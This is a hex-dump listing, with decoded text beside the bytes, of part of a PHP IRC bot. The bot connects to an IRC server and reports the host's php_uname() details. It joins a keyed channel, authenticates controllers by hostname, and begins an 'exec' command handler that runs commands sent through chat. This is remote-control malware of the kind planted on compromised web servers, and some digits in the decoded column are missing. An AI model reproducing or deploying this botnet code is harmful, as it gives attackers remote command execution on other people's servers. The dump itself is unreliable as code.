$ident = $this |
| 3200: | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 70 | 72 | 65 | 66 | 69 | 78 | 27 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 61 | 6C | 70 | 68 | 20 | 3D | 20 | | ->config['prefix'];
$alph = |
| 3232: | 72 | 61 | 6E | 67 | 65 | 28 | 22 | 30 | 22 | 2C | 22 | 39 | 22 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 66 | 6F | 72 | 28 | 20 | 24 | 69 | 3D | 30 | 3B | 20 | 24 | | range(" ","9");
for( $i= ; $ |
| 3264: | 69 | 20 | 3C | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 6D | 61 | 78 | 72 | 61 | 6E | 64 | 27 | 5D | 3B | 20 | 24 | 69 | | i < $this->config['maxrand']; $i |
| 3296: | 2B | 2B | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 69 | 64 | 65 | 6E | 74 | 20 | 2E | 3D | 20 | 24 | 61 | 6C | 70 | 68 | 5B | | ++ )
{
$ident .= $alph[ |
| 3328: | 72 | 61 | 6E | 64 | 28 | 30 | 2C | 39 | 29 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 69 | 66 | 28 | 20 | | rand( ,9)];
}
if( |
| 3360: | 73 | 74 | 72 | 6C | 65 | 6E | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 70 | 61 | 73 | 73 | 27 | 20 | 5D | 20 | | strlen( $this->config[ 'pass' ] |
| 3392: | 29 | 20 | 3E | 20 | 30 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 20 | | ) > )
{
$this->send( |
| 3424: | 22 | 50 | 41 | 53 | 53 | 20 | 22 | 2E | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | 70 | 61 | 73 | 73 | 27 | 20 | 5D | 20 | | "PASS ".$this->config[ 'pass' ] |
| 3456: | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 22 | | );
}
$this->send(" |
| 3488: | 55 | 53 | 45 | 52 | 20 | 22 | 2E | 24 | 69 | 64 | 65 | 6E | 74 | 2E | 22 | 20 | 31 | 32 | 37 | 2E | 30 | 2E | 30 | 2E | 31 | 20 | 6C | 6F | 63 | 61 | 6C | 68 | | USER ".$ident." 127. . .1 localh |
| 3520: | 6F | 73 | 74 | 20 | 3A | 22 | 2E | 70 | 68 | 70 | 5F | 75 | 6E | 61 | 6D | 65 | 28 | 29 | 2E | 22 | 22 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | | ost :".php_uname()."");
$thi |
| 3552: | 73 | 2D | 3E | 73 | 65 | 74 | 5F | 6E | 69 | 63 | 6B | 28 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 6D | 61 | 69 | 6E | 28 | | s->set_nick( );
$this->main( |
| 3584: | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 7D | 0D | 0A | 0D | 0A | 09 | 09 | 66 | 75 | 6E | 63 | 74 | 69 | 6F | 6E | 20 | 6D | 61 | 69 | 6E | 28 | 29 | 20 | 0D | 0A | | );
}
function main()
|
| 3616: | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 77 | 68 | 69 | 6C | 65 | 28 | 21 | 66 | 65 | 6F | 66 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 6E | | {
while(!feof($this->conn |
| 3648: | 29 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 62 | 75 | 66 | 20 | 3D | 20 | 74 | 72 | 69 | | ))
{
$this->buf = tri |
| 3680: | 6D | 28 | 66 | 67 | 65 | 74 | 73 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 6E | 2C | 35 | 31 | 32 | 29 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | | m(fgets($this->conn,512));
|
| 3712: | 09 | 24 | 63 | 6D | 64 | 20 | 3D | 20 | 65 | 78 | 70 | 6C | 6F | 64 | 65 | 28 | 22 | 20 | 22 | 2C | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 62 | 75 | 66 | 29 | 3B | | $cmd = explode(" ",$this->buf); |
| 3744: | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 62 | 75 | 66 | 2C | 30 | 2C | 36 | 29 | |
if(substr($this->buf, ,6) |
| 3776: | 3D | 3D | 22 | 50 | 49 | 4E | 47 | 20 | 3A | 22 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | | =="PING :")
{
$this |
| 3808: | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 22 | 50 | 4F | 4E | 47 | 20 | 3A | 22 | 2E | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 62 | 75 | | ->send("PONG :".substr($this->bu |
| 3840: | 66 | 2C | 36 | 29 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 69 | 73 | 73 | 65 | 74 | 28 | 24 | 63 | | f,6));
}
if(isset($c |
| 3872: | 6D | 64 | 5B | 31 | 5D | 29 | 20 | 26 | 26 | 20 | 24 | 63 | 6D | 64 | 5B | 31 | 5D | 20 | 3D | 3D | 22 | 30 | 30 | 31 | 22 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | | md[1]) && $cmd[1] ==" 1")
|
| 3904: | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 6E | 64 | 28 | 22 | 4D | 4F | 44 | 45 | 20 | 22 | 2E | 24 | 74 | | {
$this->send("MODE ".$t |
| 3936: | 68 | 69 | 73 | 2D | 3E | 6E | 69 | 63 | 6B | 2E | 22 | 20 | 22 | 2E | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 6D | 6F | 64 | | his->nick." ".$this->config['mod |
| 3968: | 65 | 73 | 27 | 5D | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | | es']);
if( $this-> |
| 4000: | 75 | 73 | 69 | 6E | 67 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | | using_encode )
{
$t |
| 4032: | 68 | 69 | 73 | 2D | 3E | 6A | 6F | 69 | 6E | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 62 | 61 | 73 | | his->join($this->get_chan( ),bas |
| 4064: | 65 | 36 | 34 | 5F | 64 | 65 | 63 | 6F | 64 | 65 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 6B | 65 | 79 | 27 | 5D | 29 | | e64_decode($this->config['key']) |
| 4096: | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | | );
}
else
{
|
| 4128: | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 6A | 6F | 69 | 6E | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | | $this->join($this->get_chan |
| 4160: | 28 | 20 | 29 | 2C | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 27 | 6B | 65 | 79 | 27 | 5D | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | ( ),$this->config['key']);
|
| 4192: | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 20 | 28 | 40 | 69 | 6E | 69 | 5F | 67 | 65 | 74 | 28 | 22 | 73 | 61 | | }
if (@ini_get("sa |
| 4224: | 66 | 65 | 5F | 6D | 6F | 64 | 65 | 22 | 29 | 20 | 6F | 72 | 20 | 73 | 74 | 72 | 74 | 6F | 6C | 6F | 77 | 65 | 72 | 28 | 40 | 69 | 6E | 69 | 5F | 67 | 65 | 74 | | fe_mode") or strtolower(@ini_get |
| 4256: | 28 | 22 | 73 | 61 | 66 | 65 | 5F | 6D | 6F | 64 | 65 | 22 | 29 | 29 | 20 | 3D | 3D | 20 | 22 | 6F | 6E | 22 | 29 | 20 | 7B | 20 | 24 | 73 | 61 | 66 | 65 | 6D | | ("safe_mode")) == "on") { $safem |
| 4288: | 6F | 64 | 65 | 20 | 3D | 20 | 22 | 6F | 6E | 22 | 3B | 20 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 20 | 7B | 20 | 24 | 73 | 61 | 66 | 65 | | ode = "on"; }
else { $safe |
| 4320: | 6D | 6F | 64 | 65 | 20 | 3D | 20 | 22 | 6F | 66 | 66 | 22 | 3B | 20 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 75 | 6E | 61 | 6D | 65 | 20 | 3D | 20 | 70 | | mode = "off"; }
$uname = p |
| 4352: | 68 | 70 | 5F | 75 | 6E | 61 | 6D | 65 | 28 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 69 | 73 | 73 | | hp_uname();
}
if(iss |
| 4384: | 65 | 74 | 28 | 24 | 63 | 6D | 64 | 5B | 31 | 5D | 29 | 20 | 26 | 26 | 20 | 24 | 63 | 6D | 64 | 5B | 31 | 5D | 3D | 3D | 22 | 34 | 33 | 33 | 22 | 29 | 20 | 0D | | et($cmd[1]) && $cmd[1]=="433")
|
| 4416: | 0A | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 73 | 65 | 74 | 5F | 6E | 69 | 63 | 6B | 28 | 29 | 3B | |
{
$this->set_nick(); |
| 4448: | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 62 | 75 | 66 | 20 | 21 | 3D | 20 | |
}
if($this->buf != |
| 4480: | 24 | 6F | 6C | 64 | 5F | 62 | 75 | 66 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 6D | 63 | 6D | 64 | 20 | 3D | | $old_buf)
{
$mcmd = |
| 4512: | 20 | 61 | 72 | 72 | 61 | 79 | 28 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 6D | 73 | 67 | 20 | 3D | 20 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 73 | | array();
$msg = substr(s |
| 4544: | 74 | 72 | 73 | 74 | 72 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 62 | 75 | 66 | 2C | 22 | 20 | 3A | 22 | 29 | 2C | 32 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | | trstr($this->buf," :"),2);
|
| 4576: | 09 | 09 | 24 | 6D | 73 | 67 | 63 | 6D | 64 | 20 | 3D | 20 | 65 | 78 | 70 | 6C | 6F | 64 | 65 | 28 | 22 | 20 | 22 | 2C | 24 | 6D | 73 | 67 | 29 | 3B | 20 | 0D | | $msgcmd = explode(" ",$msg);
|
| 4608: | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 6E | 69 | 63 | 6B | 20 | 3D | 20 | 65 | 78 | 70 | 6C | 6F | 64 | 65 | 28 | 22 | 21 | 22 | 2C | 24 | 63 | 6D | 64 | 5B | 30 | |
$nick = explode("!",$cmd[ |
| 4640: | 5D | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 76 | 68 | 6F | 73 | 74 | 20 | 3D | 20 | 65 | 78 | 70 | 6C | 6F | 64 | 65 | 28 | 22 | 40 | 22 | 2C | | ]);
$vhost = explode("@", |
| 4672: | 24 | 6E | 69 | 63 | 6B | 5B | 31 | 5D | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 76 | 68 | 6F | 73 | 74 | 20 | 3D | 20 | 24 | 76 | 68 | 6F | 73 | | $nick[1]);
$vhost = $vhos |
| 4704: | 74 | 5B | 31 | 5D | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 6E | 69 | 63 | 6B | 20 | 3D | 20 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 24 | 6E | 69 | 63 | | t[1];
$nick = substr($nic |
| 4736: | 6B | 5B | 30 | 5D | 2C | 31 | 29 | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 24 | 68 | 6F | 73 | 74 | 20 | 3D | 20 | 24 | 63 | 6D | 64 | 5B | 30 | 5D | 3B | | k[ ],1);
$host = $cmd[ ]; |
| 4768: | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 24 | 6D | 73 | 67 | 63 | 6D | 64 | 5B | 30 | 5D | 3D | 3D | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 6E | 69 | |
if($msgcmd[ ]==$this->ni |
| 4800: | 63 | 6B | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 66 | 6F | 72 | 28 | 24 | 69 | 3D | 30 | 3B | 24 | 69 | | ck)
{
for($i= ;$i |
| 4832: | 3C | 63 | 6F | 75 | 6E | 74 | 28 | 24 | 6D | 73 | 67 | 63 | 6D | 64 | 29 | 3B | 24 | 69 | 2B | 2B | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | | <count($msgcmd);$i++)
$ |
| 4864: | 6D | 63 | 6D | 64 | 5B | 24 | 69 | 5D | 20 | 3D | 20 | 24 | 6D | 73 | 67 | 63 | 6D | 64 | 5B | 24 | 69 | 2B | 31 | 5D | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | | mcmd[$i] = $msgcmd[$i+1];
|
| 4896: | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | }
else
{
|
| 4928: | 66 | 6F | 72 | 28 | 24 | 69 | 3D | 30 | 3B | 24 | 69 | 3C | 63 | 6F | 75 | 6E | 74 | 28 | 24 | 6D | 73 | 67 | 63 | 6D | 64 | 29 | 3B | 24 | 69 | 2B | 2B | 29 | | for($i= ;$i<count($msgcmd);$i++) |
| 4960: | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6D | 63 | 6D | 64 | 5B | 24 | 69 | 5D | 20 | 3D | 20 | 24 | 6D | 73 | 67 | 63 | 6D | 64 | 5B | 24 | 69 | |
$mcmd[$i] = $msgcmd[$i |
| 4992: | 5D | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7D | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 63 | 6F | 75 | 6E | 74 | 28 | 24 | 63 | 6D | 64 | | ];
}
if(count($cmd |
| 5024: | 29 | 3E | 32 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 73 | 77 | 69 | 74 | 63 | 68 | 28 | 24 | 63 | 6D | | )>2)
{
switch($cm |
| 5056: | 64 | 5B | 31 | 5D | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 51 | | d[1])
{
case "Q |
| 5088: | 55 | 49 | 54 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | | UIT":
{
if( $th |
| 5120: | 69 | 73 | 2D | 3E | 69 | 73 | 5F | 61 | 75 | 74 | 68 | 65 | 64 | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | is->is_authed( $host ) )
|
| 5152: | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 72 | 65 | 6D | 6F | 76 | 65 | 5F | 61 | 75 | 74 | 68 | | {
$this->remove_auth |
| 5184: | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | | ( $host );
}
}
|
| 5216: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 50 | 41 | |
break;
case "PA |
| 5248: | 52 | 54 | 22 | 3A | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | | RT":
{
if( $th |
| 5280: | 69 | 73 | 2D | 3E | 69 | 73 | 5F | 61 | 75 | 74 | 68 | 65 | 64 | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | is->is_authed( $host ) )
|
| 5312: | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 72 | 65 | 6D | 6F | 76 | 65 | 5F | 61 | 75 | 74 | 68 | | {
$this->remove_auth |
| 5344: | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | | ( $host );
}
}
|
| 5376: | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 50 | 52 | |
break;
case "PR |
| 5408: | 49 | 56 | 4D | 53 | 47 | 22 | 3A | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 28 | 20 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 24 | | IVMSG":
if( ( substr($ |
| 5440: | 6D | 63 | 6D | 64 | 5B | 30 | 5D | 2C | 30 | 2C | 31 | 29 | 20 | 3D | 3D | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 66 | 69 | 67 | 5B | 20 | 27 | | mcmd[ ], ,1) == $this->config[ ' |
| 5472: | 63 | 70 | 72 | 65 | 66 | 69 | 78 | 27 | 20 | 5D | 20 | 29 | 20 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 20 | 0D | 0A | 09 | 09 | 09 | | cprefix' ] ) )
{
|
| 5504: | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 69 | 73 | 5F | 61 | 75 | 74 | 68 | 65 | 64 | 28 | 20 | 24 | 68 | 6F | 73 | | if( $this->is_authed( $hos |
| 5536: | 74 | 20 | 29 | 20 | 3D | 3D | 20 | 66 | 61 | 6C | 73 | 65 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | | t ) == false )
{
|
| 5568: | 09 | 09 | 09 | 09 | 09 | 09 | 73 | 77 | 69 | 74 | 63 | 68 | 28 | 20 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 30 | 20 | 5D | | switch( substr( $mcmd[ ] |
| 5600: | 2C | 20 | 31 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | , 1 ) )
{
|
| 5632: | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 61 | 75 | 74 | 68 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | | case "auth":
{
|
| 5664: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 61 | 75 | 74 | 68 | 5F | 68 | 6F | 73 | 74 | 28 | 20 | 24 | 6E | 69 | 63 | 6B | | $this->auth_host( $nick |
| 5696: | 2C | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 20 | 31 | 20 | 5D | 2C | 20 | 24 | 68 | 6F | 73 | 74 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | , $mcmd[ 1 ], $host );
|
| 5728: | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 69 | 73 | 5F | 61 | 75 | 74 | 68 | 65 | 64 | 28 | 20 | 24 | 68 | 6F | 73 | 74 | 20 | | if( $this->is_authed( $host |
| 5760: | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ) )
{
|
| 5792: | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | | $this->privmsg( $this->get_chan |
| 5824: | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 61 | 75 | 74 | 68 | 20 | 5D | 20 | 53 | 75 | 63 | 63 | 65 | 73 | 73 | 66 | 75 | 6C | 20 | 6C | 6F | 67 | 69 | 6E | 20 | | ( ), "[ auth ] Successful login |
| 5856: | 66 | 72 | 6F | 6D | 20 | 5B | 20 | 22 | 2E | 24 | 6E | 69 | 63 | 6B | 2E | 22 | 20 | 5D | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | from [ ".$nick." ]" );
|
| 5888: | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | }
else
|
| 5920: | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | | {
$this->priv |
| 5952: | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 61 | 75 | 74 | 68 | | msg( $this->get_chan( ), "[ auth |
| 5984: | 20 | 5D | 20 | 46 | 61 | 69 | 6C | 65 | 64 | 20 | 61 | 74 | 74 | 65 | 6D | 70 | 74 | 20 | 66 | 72 | 6F | 6D | 20 | 5B | 20 | 22 | 2E | 24 | 6E | 69 | 63 | 6B | | ] Failed attempt from [ ".$nick |
| 6016: | 2E | 22 | 20 | 5D | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ." ]" );
}
|
| 6048: | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | break;
}
|
| 6080: | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | | }
}
els |
| 6112: | 65 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 73 | 77 | 69 | 74 | 63 | 68 | 28 | | e
{
switch( |
| 6144: | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 24 | 6D | 63 | 6D | 64 | 5B | 30 | 5D | 2C | 31 | 29 | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | substr($mcmd[ ],1))
|
| 6176: | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 65 | 78 | 65 | 63 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | | {
case "exec":
|
| 6208: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 24 | 74 | 68 | 69 | 73 | | {
if( !$this |
| 6240: | 2D | 3E | 69 | 73 | 5F | 73 | 61 | 66 | 65 | 28 | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | | ->is_safe( ) )
{
|
| 6272: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 63 | 6F | 6D | 6D | 61 | 6E | 64 | 20 | 3D | 20 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 20 | 73 | | $command = substr( s |
| 6304: | 74 | 72 | 73 | 74 | 72 | 28 | 20 | 24 | 6D | 73 | 67 | 2C | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 30 | 5D | 20 | 29 | 2C | 20 | 73 | 74 | 72 | 6C | 65 | 6E | 28 | | trstr( $msg, $mcmd[ ] ), strlen( |
| 6336: | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 30 | 5D | 20 | 29 | 20 | 2B | 20 | 31 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | $mcmd[ ] ) + 1 );
|
